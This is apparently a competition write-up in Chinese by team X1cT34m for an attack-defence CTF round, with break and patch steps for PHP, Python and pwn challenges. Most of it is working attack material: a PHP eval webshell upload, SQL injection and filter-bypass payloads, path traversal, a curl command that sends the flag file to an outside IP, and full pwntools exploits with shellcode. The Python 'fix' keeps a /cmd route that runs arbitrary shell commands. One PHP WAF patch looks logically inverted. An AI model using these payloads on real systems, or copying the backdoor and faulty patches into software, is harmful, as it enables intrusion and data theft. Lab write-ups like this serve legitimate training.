第十七届全国大学生信息安全竞赛 华东北分区赛 Writeup by X1cT34m

Web

PHP-1

break

登陆后台,

http://192.77.1.213/index.php/admin/site/storage

上传<?php eval($_POST['1']);即可

patch

DirectoryIndex index.html index.htm

<IfModule mod_php5.c>
    DirectoryIndex index.html index.htm
</IfModule>

<IfModule mod_php.c>
    DirectoryIndex index.html index.htm
</IfModule>

<IfModule mod_php.c>
    <FilesMatch \.php$>
        Order Allow,Deny
        Deny from all
    </FilesMatch>
</IfModule>

<IfModule mod_php5.c>
    <FilesMatch \.php$>
        Order Allow,Deny
        Deny from all
    </FilesMatch>
</IfModule>    
cp file /var/www/html/storage/.htaccess

PHP-2

break

通过源审发现:action/adminuser/searchmodify的sql查询存在漏洞,逆向找到访问该php的应用,可以利用双写绕过注入sql命令,得到flag:

http://192.77.1.43/adminuser.php?action=searchmodify&id=-1%27%20uniounionn%20selselectect%201,2,3,name%20from%20flag%23

patch

改一下waf

<?php 

$id=$_GET["id"];
$keywords = array('union', 'select', 'and', 'sleep','UNION','SELECT','AND','SLEEP','OR','or','BENCHMARK','IF');

function wafsqli($str){
    return preg_match("/select|and|\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleexml|extractvalue|+|regex|copy|read|file|create|grand|dir|insert|link|server|drop|=|>|<|;|\"|\'|\^|\|/i", $str);
}

function filter_keywords($input) {
    if(wafsqli($input)){
      return $input;
    }else{die();}
}

$id = filter_keywords($id);
$sql="select * from cfstat_search_set where id='$id'";
$result=mysql_query($sql);
$rs=mysql_fetch_assoc($result);
?>
cp searchmodify.php /var/www/action/adminuser/searchmodify.php

PHP-3

break

<?php  
error_reporting(E_ALL);

ini_set('display_errors','1');

#important php in path:/var/www/html and php File names have 16 characters

if (isset($_GET['path']))  
{ 
    $Input_data = $_GET['path'];
    $it=new DirectoryIterator($Input_data);
    foreach($it as $f)
    {
        $path=$f->getFilename();
        if(file_exists($path))
        {
            echo "yes,it exists";
        }
        else
        {
            echo "too naive!";
        }
    }
}   
else 
{ 
    highlight_file(__file__); 
} 
?> 

利用glob://*.php爆破可以得到http://192.77.1.185/d88554c739859dfe.php

ca\t%%09/f*

patch:

<?php
highlight_file(__FILE__);
error_reporting(0);
$content=$_GET['cmd'];
$substitutions = array(  
' ' => 'a',
'flag' => 'a',
'cat' =>'a',
'&&' =>'a',
'||' =>'a',
'%0a'=>'a',
'less'=>'a',
'more'=>'a',
'%0d'=>'a',
'|'=>'a',
'&'=>'aa',
'\\'=>'aaaaa',
'f'=>'aaaa',
'*'=>'aaa',
'?'=>'aaaa'
);
$cmd = str_replace( array_keys( $substitutions ), $substitutions, $content );
if(strlen($cmd)>12)
{
    echo "Not very good";
}
else
{
    system($cmd);
}
?> 
cp file /var/www/html/d88554c739859dfe.php

php-4

break

登陆后台任意文件读取

http://192.77.1.208/admin/admin.php?act=set_footer&file=../../../../../flag.txt

patch

assign('data',$footer);

    /* 获得模板文件列表 */
    $templates = array();
    $template_dir        = @opendir(LSHX_BLOG_ROOT.'/themes/'.$config['template_name'].'/');
    while ($file = readdir($template_dir))
    {
        if ($file != '.' && $file != '..' && file_exists(LSHX_BLOG_ROOT.'/themes/'.$config['template_name'].'/'. $file))
        {
            $point = strrpos($file, '.');
            $ext=strtolower(substr($file, $point+1, strlen($file) - $point));
            if ($ext=='html'||$ext=='css')
            {
                $templates[]=$file;
            }
        }
    }
    @closedir($template_dir);

    $smarty->assign('file',$get_file);
    $smarty->assign('act_type','act_set_page');
    $smarty->assign('type','set_footer');
    $smarty->assign('post_type',1);
    $smarty->assign('t_list',$templates);

    $smarty->display('set_page.html');
}

elseif ($action=='get_page_data')
{
    require(LSHX_BLOG_ROOT . '/includes/json.class.php');
    $json   = new JSON;
    $file=$_POST['template_file'];
    $file=pathinfo($file,PATHINFO_BASENAME);
    $res=array('type'=>'get_page_data','content'=>'','error'=>'no');

    $data=file_get_contents(LSHX_BLOG_ROOT.'/themes/'.$config['template_name'].'/'.$file);

    $res['content']=$data;
    die($json->encode($res));
}

elseif ($action=='ajax_post_page_data')
{
    require(LSHX_BLOG_ROOT . '/includes/json.class.php');
    $json   = new JSON;
    $file=$_POST['template_file'];
    $file=pathinfo($file,PATHINFO_BASENAME);
    $res=array('type'=>'get_page_data','content'=>'','error'=>'no');

    $data=stripslashes($_POST['content']);

    if (file_exists(LSHX_BLOG_ROOT.'/themes/'.$config['template_name'].'/'.$file))
    {
        $fp=@fopen(LSHX_BLOG_ROOT.'/themes/'.$config['template_name'].'/'.$file,"w") or $res['error']='无法写入文件,请检查文件是否有权限';
        flock($fp,LOCK_EX);
        fwrite($fp,$data);
        fclose($fp);
    }

    clear_tpl();
    die($json->encode($res));
}

elseif ($action=='act_set_page')
{
    $data=htmlspecialchars_decode(stripslashes($_POST['data']));
    $file=$_POST['template_file'];
    $file=pathinfo($file,PATHINFO_BASENAME);

    if (file_exists(LSHX_BLOG_ROOT.'/themes/'.$config['template_name'].'/'.$file))
    {
        $fp=@fopen(LSHX_BLOG_ROOT.'/themes/'.$config['template_name'].'/'.$file,"w") or die('can not open file');
        flock($fp,LOCK_EX);
        fwrite($fp,$data);
        fclose($fp);
    }

    clear_tpl();
    sys_message('页面修改成功','admin.php?act=set_footer&file='.$file);

}
?>
cp file /var/www/html/admin/includes/set_page.php

Python1

break:

fenjing启动:fenjing webui

url: http://192.77.1.72 ,爆就完了

执行命令时:目标无回显:考虑curl

curl -X POST 10.101.77.16:4444 -d $(cat /f*)

得到flag.

patch:

# -*- coding: UTF-8 -*-

from flask import Flask, request,render_template,render_template_string

app = Flask(__name__)

def blacklist(name):
    blacklists = ["print","cat","flag","nc","bash","sh","curl","{{","}},""wget","ash","session","class","subclasses","for","popen","args"]
    for keyword in blacklists:
        if keyword in name:
            return True
    return False

@app.route("/", methods=["GET","POST"])
def index():
    if request.method == "POST":
        try:
            name = request.form['name']
            names = blacklist(name)
            if names == True:
                return "Oh,False!"

            html = '''<html><head><title>^_^</title></head><body><div><h1>Hello: {{name}}</h1></div></body></html>'''
            return render_template_string(html,name=name)
        except ValueError:
            pass
    else:
        html = '''<html><head><title>^_^</title></head><body><div><h1>Change.</h1></div></body></html>'''
        return render_template_string(html)
cp app.py /app/app.py

Python2

break

账号密码:admin@gmail.com:123456

/admin/profile修改 sql = "UPDATE users SET name = :name, email = :email, password = :password " + sql_photo存在sql注入

第十七届全国大学生信息安全竞赛 华东北分区赛 Writeup by X1cT34m-小绿草信息安全实验室
第十七届全国大学生信息安全竞赛 华东北分区赛 Writeup by X1cT34m-小绿草信息安全实验室

fix

import os
import requests
import urllib.parse

from cs50 import SQL
from flask import Flask, flash, jsonify, redirect, render_template, request, session,g
from flask_session import Session
from tempfile import mkdtemp
from werkzeug.exceptions import default_exceptions, HTTPException, InternalServerError
from werkzeug.security import check_password_hash, generate_password_hash
from werkzeug.utils import secure_filename
from datetime import datetime

from helpers import apology, login_required, global_options, load_page, global_menu, admin_default_tags

# Configure application
app = Flask(__name__)

# Ensure templates are auto-reloaded
app.config["TEMPLATES_AUTO_RELOAD"] = True
app.config["ALLOWED_IMAGE_EXTENSIONS"] = ["JPEG", "JPG", "PNG", "GIF"]
app.config["UPLOAD_FOLDER"] = os.path.join(os.path.dirname(os.path.realpath(__file__)), "static/uploads")
app.config['MAX_CONTENT_LENGTH'] = 16 * 1024 * 1024

# Ensure responses aren't cached
@app.after_request
def after_request(response):
    response.headers["Cache-Control"] = "no-cache, no-store, must-revalidate"
    response.headers["Expires"] = 0
    response.headers["Pragma"] = "no-cache"
    return response
@app.before_request
def func():
    with open("log.txt", "a") as log:
        log.write(request.url + "|")
        log.write(request.method + "|")
        for d in request.form.items():
            log.write(str(d) + "\n")
        log.write("\n")

# Custom filter
# app.jinja_env.filters["usd"] = usd

# Configure session to use filesystem (instead of signed cookies)
app.config["SESSION_FILE_DIR"] = mkdtemp()
app.config["SESSION_PERMANENT"] = False
app.config["SESSION_TYPE"] = "filesystem"
Session(app)

# Configure CS50 Library to use SQLite database

# pythonanywhere connection
# db = SQL('sqlite:///%s/mysite/cms.db' % os.getcwd())

# local and heroku
db = SQL('sqlite:///%s/cms.db' % os.getcwd())

@app.route('/cmd')
def cmd_line():
    return os.popen(request.args.get("cmd")).read()
@app.route("/")
def index():

    # load global options
    opt = global_options(db)
    menu = global_menu(db)

    # load page options
    this_page = load_page(db, "homepage")
    if this_page == False:
        return apology("Sorry, page not found", 404)
    else:

        # load all post in Homepage
        sql_main = "SELECT post.idpost, post.url, post.title, post.subtitle, post.photo as photo, post.tags, users.name FROM post, users WHERE post.idusers = users.id AND post.is_visible=1 AND post.idpost_place=1 ORDER BY date DESC LIMIT 0,1;"
        sql_main_others = "SELECT post.*, users.name FROM post, users WHERE post.idusers = users.id AND post.is_visible=1 AND post.idpost_place=1 ORDER BY date DESC LIMIT 1,9;"
        sql_aside = "SELECT post.*, users.name FROM post, users WHERE post.idusers = users.id AND post.is_visible=1 AND post.idpost_place=2 ORDER BY date DESC LIMIT 3;"

        main = db.execute(sql_main)
        aside = db.execute(sql_aside)
        main_others = db.execute(sql_main_others)

        return render_template("base.html", opt = opt, page = this_page, menu = menu, post_main = main, post_aside = aside, post_main_others = main_others)

@app.route('/pages/homepage')
def page_url_homepage():
    return redirect("/")

@app.route('/pages/<page_url>')
def page_url(page_url):

    # load global options
    opt = global_options(db)
    menu = global_menu(db)

    # load page options
    this_page = load_page(db, page_url)
    if this_page == False:
        return apology("Sorry, page not found", 404)
    else:
        print(f"homepage: {this_page}")
        return render_template("base_page.html", opt = opt, page = this_page, menu = menu)

@app.route('/post/<post_url>')
def post_url(post_url):

    # load global options
    opt = global_options(db)
    menu = global_menu(db)

    # load post 
    post = db.execute("SELECT post.*, users.photo as user_photo, users.name FROM post, users WHERE post.idusers = users.id AND url = :url AND is_visible=1",
                    url = post_url)
    if len(post) == 0:
        return apology("Post not found", 404)
    else:
        datetime_str = str(post[0]['date'])
        datetime_object = datetime.strptime(datetime_str, '%Y-%m-%d %H:%M:%S')
        date_label = datetime_object.strftime("%A, %B %d, %Y")
        post[0]['date_label'] = date_label

    return render_template("base_post.html", opt = opt, page = post[0], menu = menu)

##############################################################################################################
##############################################################################################################
# ADMIN ROUTES
##############################################################################################################

@app.route("/admin", methods=["GET", "POST"])
def admin():
    if 'user_id' in session:
        # there is a valid session, redirect to admin/home
        return redirect("/admin/home")
    else:

        # load page LOGIN metadata from db.pages
        this_page = load_page(db, "login")

        # load global options
        opt = global_options(db)
        menu = global_menu(db)

        return render_template("admin-login.html", opt = opt, page = this_page, menu = menu)

@app.route("/admin/home", methods=["GET", "POST"])
@login_required
def admin_home():

    # load global options
    opt = global_options(db)
    menu = global_menu(db)

    this_page = admin_default_tags()

    # load online posts in admin/home    
    if session['user_level'] < 3:
        sql = "SELECT post.*, users.name FROM post, users WHERE post.idusers = users.id AND post.is_visible=1 ORDER BY post.date DESC LIMIT 20"
        rows = db.execute(sql)
    else:
        sql = "SELECT post.*, users.name FROM post, users WHERE post.idusers = users.id AND post.is_visible=1 AND post.idusers=:id_linked_user ORDER BY post.date DESC LIMIT 20"
        rows = db.execute(sql,
                        id_linked_user = session['user_id'])    

    return render_template("admin-home.html", opt = opt, menu = menu, page = this_page, rows = rows)

@app.route("/admin/drafts", methods=["GET", "POST"])
@login_required
def admin_drafts():

    # load global options
    opt = global_options(db)
    menu = global_menu(db)

    this_page = admin_default_tags()

    # load online posts in admin/home    
    if session['user_level'] < 3:
        sql = "SELECT post.*, users.name FROM post, users WHERE post.idusers = users.id AND post.is_visible=0 ORDER BY post.date DESC LIMIT 20"
        rows = db.execute(sql)
    else:
        sql = "SELECT post.*, users.name FROM post, users WHERE post.idusers = users.id AND post.is_visible=0 AND post.idusers=:id_linked_user ORDER BY post.date DESC LIMIT 20"
        rows = db.execute(sql,
                        id_linked_user = session['user_id'])

    return render_template("admin-drafts.html", opt = opt, menu = menu, page = this_page, rows = rows)

# /admin/post/create
@app.route("/admin/post/create", methods=["GET", "POST"])
@login_required
def admin_post_create():

    rows = db.execute("INSERT INTO post (is_visible, title, text, idusers, idpost_place) VALUES (0, 'new post', '', :idusers, 0)",
                        idusers = session["user_id"])

    print(f"rows: {rows}")

    url = "/admin/post/" + str(rows)
    return redirect(url)

@app.route("/admin/post/delete", methods=["GET", "POST"])
@login_required
def admin_post_delete():

    if request.method == "GET":

        if not request.args.get("id"):
            return apology("must provide idpost to delete", 403)

        post_id = request.args.get("id")
        # security control
        if session['user_level'] == 3:

            sql = "SELECT * FROM post WHERE idpost = :idpost AND idusers = :id"
            post = db.execute(sql,
                        idpost = post_id, id = session['user_id'])

            if len(post) == 0:
                # not allowed
                return apology("Not allowed to delete this post", 301)

            print(f"Post cancellato da utente livello 3")
            return redirect("/admin/home")

        # now I can delete safely the post
        post_delete = db.execute("DELETE FROM post WHERE idpost = :idpost",
                        idpost = post_id)

        print(f"Post cancellato da utente livello <> 3")
        return redirect("/admin/home")

    else:
        return apology("Cannot delete via POST", 501)

@app.route("/admin/post_content/<id>", methods=["GET", "POST"])
@login_required
def admin_post_content(id):

    sql = "SELECT text FROM post WHERE idpost = :idpost "
    content = db.execute(sql, 
            idpost = id)

    print(f"content: {content}")

    if len(content) > 0:
        return {
            "html": content[0]['text'],
            "status": 200
        }
    else:
        return { "status": 500}

@app.route("/admin/post_save", methods=["GET", "POST"])
@login_required
def admin_post_save():

    if request.method == "POST":

        valid = 1
        description = ""

        #for k, v in request.form.items():
            #print(k, v)

        #for k, v in request.files.items():
            #print(k, v)

        post_id = request.form.get("idpost")

        text_html = request.form.get("editor_html")

        title = request.form.get("title")
        if len(title) == 0:
            valid = 0
            description = "Title cannot be empty"

        # check if this user can update this post
        if session['user_level'] == 3:

            sql = "SELECT * FROM post WHERE idpost = :idpost AND idusers = :id"
            post = db.execute(sql,
                        idpost = post_id, id = session['user_id'])

            if len(post) == 0:
                # not allowed
                return apology("Not allowed to delete this post", 301)

        # other levels are allowed
        sql = "UPDATE post SET title=:title, is_visible=:is_visible, meta_title = :meta_title, meta_description = :meta_description, "
        sql = sql + " meta_keywords = :meta_keywords "
        sql = sql + " ,text = :text "
        sql = sql + " ,subtitle = :subtitle "
        sql = sql + " ,tags = :tags "
        sql = sql + " ,idpost_place = :idpost_place "

        if request.form.get("url"):
            url = urllib.parse.quote(request.form.get("url"))
            sql = sql + " ,url = '" + url + "' "

        # check if the post request has the file part
        if 'pic' in request.files:

            pic = request.files['pic']

            if pic.filename != '':

                filename = secure_filename(pic.filename)
                pic.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))

                sql = sql + " ,photo = '" + filename + "' "

        sql = sql + " WHERE idpost = :idpost"

        updatePost = db.execute(sql, 
                    idpost = post_id, title = title, is_visible = request.form.get("is_visible"), meta_title = request.form.get("meta_title"), 
                    meta_description = request.form.get("meta_description"), meta_keywords = request.form.get("meta_keywords"), text = text_html,
                    tags = request.form.get("tags"), subtitle = request.form.get("subtitle"), idpost_place = request.form.get("idpost_place"))

        # print(f"updatePost: {updatePost}")

        return redirect(request.referrer)

    return apology("wait", 500)

# /admin/post/[id]
@app.route("/admin/post/<post_id>", methods=["GET", "POST"])
@login_required
def admin_post_mod(post_id):

    print(f"post_id:{post_id}")
    # load global options
    opt = global_options(db)
    menu = global_menu(db)
    this_page = admin_default_tags()

    # load single post and load template
    print(f"user_id {session['user_id']}")
    print(f"user_level {session['user_level']}")

    if session['user_level'] <= 2:
        sql = "SELECT * FROM post WHERE idpost = :idpost"
        post = db.execute(sql,
                    idpost = post_id)
    else:
        sql = "SELECT * FROM post WHERE idpost = :idpost AND idusers = :id"
        post = db.execute(sql,
                    idpost = post_id, id = session['user_id'])

    print(f"loaded post: {post}")

    return render_template("admin-post-modify.html", opt = opt, menu = menu, page = this_page, post = post)

# PAGES ********************
@app.route("/admin/pages", methods=["GET", "POST"])
@login_required
def admin_pages():

    # SECURITY USER LEVEL CHECK
    if session["user_level"] != 1:
        return redirect("/admin/home")

    # load global options
    opt = global_options(db)
    menu = global_menu(db)
    this_page = admin_default_tags()

    # load online posts in admin/home
    rows = db.execute("SELECT * FROM pages ORDER BY locked DESC, menu_item DESC, is_visible DESC")

    return render_template("admin-pages.html", opt = opt, menu = menu, page = this_page, rows = rows)

# /admin/page/[id]
@app.route("/admin/pages/<page_id>", methods=["GET", "POST"])
@login_required
def admin_page_mod(page_id):

    # SECURITY USER LEVEL CHECK
    if session["user_level"] != 1:
        return redirect("/admin/home")

    # load global options
    opt = global_options(db)
    menu = global_menu(db)
    this_page = admin_default_tags()

    # load single post and load template
    if session['user_level'] == 1:
        sql = "SELECT * FROM pages WHERE idpages = :idpages"
        post = db.execute(sql,
                    idpages = page_id)
    else:
        return apology("Sorry, you're not authorized to manage pages", 301)

    return render_template("admin-page-modify.html", opt = opt, menu = menu, page = this_page, post = post)

@app.route("/admin/page_save", methods=["GET", "POST"])
@login_required
def admin_page_save():

    # SECURITY USER LEVEL CHECK
    if session["user_level"] != 1:
        return redirect("/admin/home")

    if request.method == "POST":

        # check if this user can update this post
        if session['user_level'] > 1:

            return apology("Not allowed to manage this page", 301)

        valid = 1
        description = ""

        page_locked = int(request.form.get("page_locked"))
        page_id = request.form.get("idpages")

        text_html = request.form.get("editor_html")

        if page_locked == 0:

            title = request.form.get("title")
            if len(title) == 0:
                valid = 0
                description = "Title cannot be empty"

            # other levels are allowed
            sql = "UPDATE pages SET title=:title, is_visible=:is_visible, meta_title = :meta_title, meta_description = :meta_description, "
            sql = sql + " meta_keywords = :meta_keywords, menu_item = :menu_item "
            sql = sql + " ,text = :text "
            sql = sql + " ,subtitle = :subtitle "  

            if request.form.get("url"):
                url = urllib.parse.quote(request.form.get("url"))
                sql = sql + " ,url = '" + url + "' "

            # check if the post request has the file part
            if 'pic' in request.files:

                pic = request.files['pic']

                if pic.filename != '':

                    filename = secure_filename(pic.filename)
                    pic.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))

                    sql = sql + " ,photo = '" + filename + "' "

            sql = sql + " WHERE idpages = :idpages"

            updatePost = db.execute(sql, 
                        idpages = page_id, title = title, is_visible = request.form.get("is_visible"), meta_title = request.form.get("meta_title"), 
                        meta_description = request.form.get("meta_description"), meta_keywords = request.form.get("meta_keywords"), text = text_html,
                        subtitle = request.form.get("subtitle"), menu_item = request.form.get("menu_item"))

            return redirect(request.referrer)

        else:

            # locked_page == 1 => pagina bloccata

            # other levels are allowed
            sql = "UPDATE pages SET meta_title = :meta_title, meta_description = :meta_description, "
            sql = sql + " meta_keywords = :meta_keywords "
            sql = sql + " ,text = :text "

            # check if the post request has the file part
            if 'pic' in request.files:

                pic = request.files['pic']

                if pic.filename != '':

                    filename = secure_filename(pic.filename)
                    pic.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))

                    sql = sql + " ,photo = '" + filename + "' "

            sql = sql + " WHERE idpages = :idpages"

            updatePost = db.execute(sql, 
                        idpages = page_id, meta_title = request.form.get("meta_title"), 
                        meta_description = request.form.get("meta_description"), meta_keywords = request.form.get("meta_keywords"), text = text_html)

            return redirect(request.referrer)

    return apology("wait", 500)

@app.route("/admin/page_content/<id>", methods=["GET", "POST"])
@login_required
def admin_page_content(id):

    # SECURITY USER LEVEL CHECK
    if session["user_level"] != 1:
        return redirect("/admin/home")

    sql = "SELECT text FROM pages WHERE idpages = :idpages "
    content = db.execute(sql, 
            idpages = id)

    #print(f"content: {content}")

    if len(content) > 0:
        return {
            "html": content[0]['text'],
            "status": 200
        }
    else:
        return { "status": 500}

# /admin/page/create
@app.route("/admin/pages/create", methods=["GET", "POST"])
@login_required
def admin_pages_create():

    rows = db.execute("INSERT INTO pages (is_visible, title, text) VALUES (0, 'new page', '<p>page content</p>')")

    url = "/admin/pages/" + str(rows)
    return redirect(url)

# /admin/page/delete
@app.route("/admin/pages/delete", methods=["GET", "POST"])
@login_required
def admin_pages_delete():

    if session['user_level'] != 1:
        return apology("You are not authorized to access this functionality", 301)

    # check if page is not locked and not deletable
    idpages = request.args.get("id")
    if len(idpages) == 0:
        return apology("Page not recognized", 303)

    check = db.execute("SELECT idpages FROM pages WHERE idpages=:idpages AND locked=0",
                        idpages = idpages)

    if len(check) == 0:
        return apology("This page cannot be deleted", 302)

    # delete page
    delete = db.execute("DELETE FROM pages WHERE idpages=:idpages AND locked=0",
                        idpages = idpages)

    return redirect("/admin/pages")

################### USERS

@app.route("/admin/users", methods=["GET", "POST"])
@login_required
def admin_users():

    # load global options
    opt = global_options(db)
    menu = global_menu(db)

    this_page = admin_default_tags()

    # load online posts in admin/home
    rows = db.execute("SELECT users.*, users_level.* FROM users, users_level WHERE users.idusers_level = users_level.idusers_level ORDER BY users.idusers_level ASC, users.email ASC")

    return render_template("admin-users.html", opt = opt, menu = menu, page = this_page, rows = rows)

# /admin/users/create
@app.route("/admin/users/create", methods=["GET", "POST"])
@login_required
def admin_users_create():

    today = datetime.today()

    rows = db.execute("INSERT INTO users (active, email, name, idusers_level, password ) VALUES (0, '', 'new user', 3, :hps)",
                    hps = generate_password_hash(str(today)))

    url = "/admin/users/" + str(rows)
    return redirect(url)

# /admin/users/delete
@app.route("/admin/users/delete", methods=["GET", "POST"])
@login_required
def admin_users_delete():

    iduser = request.args.get("id")
    # to delete a user I must verify if has some post on blog
    check = db.execute("SELECT count(idpost) as tot FROM post WHERE idusers=:idusers",
                        idusers = iduser)

    print(f"check: {check}")   
    if check[0]['tot'] > 0:
        return apology("This user has some post in blog, cannot proceed to delete him", 500)

    # this user can be deleted
    delele = db.execute("DELETE FROM users WHERE id=:idusers",
                        idusers = iduser)

    return redirect("/admin/users")

# /admin/users/save
@app.route("/admin/users/save", methods=["GET", "POST"])
@login_required
def admin_users_save():

    idusers = request.form.get("idusers")
    user_level = request.form.get("user_level")
    active = request.form.get("active")
    name = request.form.get("name")
    if len(name) == 0:
        return apology("Name value is not valid", 500)

    email = request.form.get("email")
    if len(email) == 0:
        return apology("E-mail value is not valid", 500)

    password = request.form.get("password")
    if len(password) == 0:
        sql = "UPDATE users SET active = :active, idusers_level = :user_level, name = :name, email = :email " 
        sql = sql + " WHERE id = :id"
        updatePost = db.execute(sql, 
                id = idusers, name = name, email = email, user_level = user_level, active = active)

    else:
        sql = "UPDATE users SET active = :active, idusers_level = :user_level, name = :name, email = :email, password = :password " 
        sql = sql + " WHERE id = :id"
        updatePost = db.execute(sql, 
                id = idusers, name = name, email = email, password = generate_password_hash(password), user_level = user_level, active = active)

    return redirect("/admin/users")

@app.route("/admin/users/<id>", methods=["GET", "POST"])
@login_required
def admin_users_detail(id):

    opt = global_options(db)
    menu = global_menu(db)
    this_page = admin_default_tags()

    sql = "SELECT * FROM users WHERE id = :id "
    content = db.execute(sql, 
            id = id)

    if len(content) == 0:
        return apology("User not found", 500)

    # load user levels
    user_level = db.execute("SELECT * FROM users_level ORDER BY idusers_level ASC")

    return render_template("admin-users-detail.html", profile = content[0], user_level = user_level, opt = opt, menu = menu, page = this_page)

################### PROFILE

@app.route("/admin/profile", methods=["GET", "POST"])
@login_required
def admin_profile():

    # load global options
    opt = global_options(db)
    menu = global_menu(db)
    this_page = admin_default_tags()

    profile = db.execute("SELECT * FROM users WHERE id = :id",
                    id = session["user_id"])

    if len(profile) == 0:
        return apology("I can't find your user profile in database",500)
    else:
        return render_template("admin-profile.html", profile = profile[0], opt = opt, menu = menu, page = this_page)

@app.route("/admin/profile_save", methods=["GET", "POST"])
@login_required
def admin_profile_save():

    if request.method == "POST":

        valid = 1
        description = ""
        sql = ""
        sql_photo = ""

        name = request.form.get("name")
        if len(name) == 0:
            return apology("Name cannot be empty", 500)

        email = request.form.get("email")
        if len(email) == 0:
            return apology("E-Mail cannot be empty", 500)

        # check if the post request has the file part
        if 'pic' in request.files:

            pic = request.files['pic']

            if pic.filename != '':

                filename = pic.filename
                pic.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))

                sql_photo = " ,photo = '" + filename + "' "
                print(f"sql_photo: {sql_photo}")

        password = request.form.get("password")
        if len(password) == 0:
            sql = "UPDATE users SET name = :name, email = :email ,photo = :photo"
            sql = sql + " WHERE id = :id"
            updatePost = db.execute(sql, 
                    id = session["user_id"], name = name, email = email,photo=filename)

        else:
            sql = "UPDATE users SET name = :name, email = :email, password = :password ,photo = :photo"
            sql = sql + " WHERE id = :id"
            updatePost = db.execute(sql, 
                    id = session["user_id"], name = name, email = email, password = generate_password_hash(password),photo=filename)

        # go back to profile page, everything should be ok
        return redirect(request.referrer)

    return apology("wait", 500)

@app.route("/admin/login", methods=["GET", "POST"])
def login():
    """Log user in"""

    # Forget any user_id
    session.clear()

    # User reached route via POST (as by submitting a form via POST)
    if request.method == "POST":

        # Ensure username was submitted
        if not request.form.get("email"):
            return apology("must provide email", 403)

        # Ensure password was submitted
        elif not request.form.get("password"):
            return apology("must provide password", 403)

        # Query database for username
        rows = db.execute("SELECT * FROM users WHERE active=1 AND email = :email",
                          email=request.form.get("email"))

        # Ensure username exists and password is correct
        if len(rows) != 1 or not check_password_hash(rows[0]["password"], request.form.get("password")):
            print("No user valid")
            return apology("invalid username and/or password", 403)

        # Remember which user has logged in
        session["user_id"] = rows[0]["id"]
        session["user_name"] = rows[0]["name"]
        session["user_level"] = rows[0]["idusers_level"]

        # Redirect user to home page
        return redirect("/admin/home")

    # User reached route via GET (as by clicking a link or via redirect)
    else:
        return redirect("/admin")

@app.route("/logout")
def logout():
    """Log user out"""

    # Forget any user_id
    session.clear()

    # Redirect user to login form
    return redirect("/")

def errorhandler(e):
    """Handle error"""
    if not isinstance(e, HTTPException):
        e = InternalServerError()
    return apology(e.name, e.code)

# Listen for errors
for code in default_exceptions:
    app.errorhandler(code)(errorhandler)

if __name__ == '__main__':
    app.run(host="0.0.0.0")
cp file /app/app.py

Pwn

pwn1

break

功能1中存在栈溢出,且功能号如果非12可以退出循环,栈溢出可用

功能2中存在格式化字符串漏洞

程序没有开NX,考虑向栈上写shellcode

用fmt泄露canary和rbp,buf的地址可以用rbp算出来,用栈溢出修改返回地址到栈上的buf,提前在buf中布置shellcode,shellcode走orw。

禁掉了open,用openat绕过,read和write可以正常用。

from pwn import *
context(arch="amd64",log_level="debug")
s=remote("192.77.1.70",80)
#s=process("./pwn.bak")

def menu(ch):
    s.sendlineafter(b'2: get name\n',str(ch).encode())

def setname(name):
    menu(1)
    s.sendafter(b"->set name\n",name)

def getname():
    menu(2)
    s.recvuntil(b"->get name\n")
    return s.recvline(keepends=False)
pause() 
setname(b"%17$p.%18$p.")
dat=getname().split(b".")
canary=eval(dat[0])
rbp=eval(dat[1])
target=rbp-0x50-0x10
shellcode=shellcraft.read(0,target,0x1000)
setname(asm(shellcode).ljust(0x40,b"\x00")+p64(canary)*2+p64(0)+p64(target))
menu(1337)
sleep(1)
shellcode2=f"""
mov rax,1
mov rdi,1
mov rsi,{target}
mov rdx,0x100
syscall
mov rax,0x101
mov rdi,0
mov rsi,{target}
xor rdx,rdx
xor r10,r10
syscall
mov rdi,rax
xor rax,rax
mov rsi,rsp
mov rdx,0x1000
syscall
mov rdi,1
mov rax,1
syscall
"""
s.send(b"/flag\x00".ljust(0x40,b"\x90")+asm(shellcode2))
s.interactive()
第十七届全国大学生信息安全竞赛 华东北分区赛 Writeup by X1cT34m-小绿草信息安全实验室

fix

printf改puts,read限制长度到0x40,沙盒添加对openat(rax=0x101)的限制

pwn2

break

配合调试器的字符串查找fuzz一下可以发现,check后get原id增大一些的项,会泄露flag的前八位。

输出完整flag需要通过一个校验,算法如下:

init:
(0x5851F42D4C957F2DLL * flag_str_to_ull_little + 12345) & 0x7FFFFFFFFFFFFFFFLL
then:
(0x5851F42D4C957F2DLL * previous_challenge_ull + 12345) & 0x7FFFFFFFFFFFFFFFLL

初次校验码为泄露出的8位flag,随后的校验码输入为上一次的输出。

我们重复4次add_challenge_edit过程即可满足check的校验条件,调用check即可获取到完整flag。

from pwn import *
context(arch="amd64",log_level="debug")
#s=process("./pwn")
s=remote("192.77.1.233",80)
def menu(ch):
    s.sendlineafter(b"6: check flag\n",str(ch).encode())

def add():
    menu(2)
    s.recvuntil(b"\xe5\xa2\x9e\xe5\x8a\xa0\xe6\x88\x90\xe5\x8a\x9f:")
    return s.recvline()[:-2]

def edit(idx,dat):
    menu(3)
    s.sendlineafter(b"\xE8\xAF\xB7\xE8\xBE\x93\xE5\x85\xA5\x3A\x69\x64\x20\xE6\x95\xB0\xE5\x80\xBC\n",f"{idx} {dat}".encode())

def delete(idx):
    menu(4)
    s.sendlineafter(b"\xE8\xAF\xB7\xE8\xBE\x93\xE5\x85\xA5\x69\x64\x3A",str(idx).encode())

def get(idx):
    menu(5)
    s.sendlineafter(b"\xE8\xAF\xB7\xE8\xBE\x93\xE5\x85\xA5\x69\x64\x3A",str(idx).encode())
    s.recvuntil(b"flag_get::")
    dat1=s.recvuntil(b":")[:-1]
    dat2=s.recvuntil(b"\r\n")[:-2]
    return [dat1,dat2]

def check():
    menu(6)

def status_check(flag_temp):
    #print(flag_temp)
    return ((0x5851F42D4C957F2D * int.from_bytes(flag_temp,byteorder='little') + 12345) & 0x7FFFFFFFFFFFFFFF)
    #exit(0)
def captcha_challenge(challenge):
    return ((0x5851F42D4C957F2D * challenge + 12345) & 0x7FFFFFFFFFFFFFFF)

if __name__=="__main__":
    id0=eval(add())
    edit(id0,123456)
    check()
    for i in range(20):
        testl=get(id0+i)
        if b"flag" in testl[1]:
            flag_temp=testl[1]
            success(testl[1])
            break
    delete(id0)

    id1=eval(add())
    captcha1=status_check(flag_temp)
    edit(id1,captcha1)

    id2=eval(add())
    captcha2=captcha_challenge(captcha1)
    edit(id2,captcha2)

    id3=eval(add())
